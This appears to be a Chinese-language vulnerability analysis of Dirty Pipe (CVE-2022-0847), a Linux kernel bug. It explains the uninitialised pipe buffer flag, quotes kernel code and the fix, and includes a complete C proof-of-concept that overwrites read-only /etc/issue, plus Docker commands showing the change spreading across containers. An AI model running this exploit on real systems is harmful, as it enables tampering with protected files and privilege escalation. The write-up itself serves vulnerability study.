CVE-2022-0847,又名Dirty Pipe,是一个Linux内核漏洞,利用这个漏洞可以覆写文件内容,包括只读的文件。
在zero-copy的过程中(例如splice()系统调用),文件的数据会被写到内存的page cache中(之后对文件的读取也都会直接读取page cache的内容,以减少磁盘IO),而pipe的buffer也会指向这个page cache [1.1]。
static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes, struct iov_iter *i)
{
struct pipe_inode_info *pipe = i->pipe;
struct pipe_buffer *buf;
......
buf = &pipe->bufs[i_head & p_mask];
......
buf->page = page;
......
splice()的调用链如下图:
在这个过程中,pipe buffer的flags成员是没有被初始化的。然而,根据pipe的写入过程,可以看到,当flags为PIPE_BUF_CAN_MERGE时,可以向page cache中写入数据,而要设置这个flags,只需要对pipe进行一次写入 [1.2]:
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) { ret = pipe_buf_confirm(pipe, buf); if (ret) goto out; ret = copy_page_from_iter(buf->page, offset, chars, from);
buf = &pipe->bufs[head & mask];
buf->page = page;
buf->ops = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len = 0;
if (is_packetized(filp))
buf->flags = PIPE_BUF_FLAG_PACKET;
else
buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
而对pipe buffer的page cache进行写入,就意味着对splice()中对应的文件的page cache进行了写入,此时,当再次读取文件,内容就会发生变化。当然,这种变化并不是永久的,因为这样的写入并不会对文件在磁盘中的内容产生影响,一旦文件的page cache失效(例如系统重启或者某些内存清理机制),文件的内容就会恢复原样。利用这个漏洞,攻击者可以修改容器镜像里的文件内容,并影响其他使用该镜像的容器。
- Linux: Ubuntu 20.04
- Kernel: 5.8.0-63
exp的代码(exp.c)如下,大致步骤为填充管道、清空管道、零拷贝、向管道写入数据,其中目标文件为/etc/issue,覆写起始位置为1,内容为“ABCD”:
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
int main()
{
const char *const path = "/etc/issue";
loff_t offset = 1;
const char *const data = "ABCD";
const size_t data_size = strlen(data);
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
const int fd = open(path, O_RDONLY);
int p[2];
pipe(p);
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
--offset;
splice(fd, &offset, p[1], NULL, 1, 0);
write(p[1], data, data_size);
return 0;
}
基于同一个镜像,分别创建两个Docker容器container-a和container-b,把编译好的exp复制到container-a中:
sudo docker run --name container-a -itd ubuntu
sudo docker run --name container-b -itd ubuntu
gcc exp.c -o exp
sudo docker cp exp container-a:/exp
分别进入两个容器,获取目标文件/etc/issue的内容:
在container-a中运行exp,再次查看/etc/issue,可以看到文件的内容发生了变化:
并且在container-b中也能看到同样的变化。
官方的修复方案很简单,在设置pipe buffer时,将它的flags设为0,这样就可以避免它被设为PIPE_BUF_FLAG_CAN_MERGE,从而避免对page cache的写入 [3.1]:
buf = &pipe->bufs[i_head & p_mask];
......
buf->flags = 0;
[1.2] https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/fs/pipe.c?h=v5.17-rc5